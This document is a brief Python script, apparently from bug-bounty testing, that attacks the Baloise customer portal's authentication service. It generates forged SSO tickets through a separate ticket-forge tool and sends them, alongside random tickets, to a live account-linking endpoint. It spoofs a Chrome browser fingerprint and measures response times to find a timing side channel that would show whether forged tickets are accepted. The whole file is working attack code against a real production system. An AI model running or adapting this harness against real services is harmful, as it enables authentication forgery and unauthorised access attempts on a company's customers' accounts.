from curl_cffi import requests
import subprocess,base64,os,time,statistics,uuid
base='https://mein-portal.baloise.de/auth'; h0={'X-Bug-Bounty':'dwbzn'}
def ticket():
 p=subprocess.run(['python3','work/scratch/saved/airlock_esp-ticket-forge.py','--username','bugbounty-dwbzn-nonexistent','--role','user','--extra','el_baloise_userid=bugbounty-dwbzn-nonexistent','--extra','tgic_id=bugbounty-dwbzn-nonexistent','--extra','uniqueId='+str(uuid.uuid4())],capture_output=True,text=True,check=True)
 return p.stdout.strip()
def one(t):
 s=requests.Session(impersonate='chrome'); s.get(base+'/',headers=h0,allow_redirects=False,timeout=15,toadex_capture=False)
 h={**h0,'X-Same-Domain':'1','X-CSRFT759':s.cookies.get('CSRFT759-S') or '','Content-Type':'application/json','Accept':'application/json','X-IAM-SSO-Ticket':t}
 st=time.perf_counter(); r=s.post(base+'/rest/public/authentication/applications/el_account_linking/access',headers=h,data='null',allow_redirects=False,timeout=15,toadex_capture=False); return (time.perf_counter()-st)*1000,r.status_code,len(r.content)
valid=[]; random=[]
for i in range(10):
 t=ticket(); valid.append(one(t)[0]); random.append(one(base64.b64encode(os.urandom(len(base64.b64decode(t)))).decode())[0])
print('valid',valid,'median',statistics.median(valid),'mean',statistics.mean(valid))
print('random',random,'median',statistics.median(random),'mean',statistics.mean(random))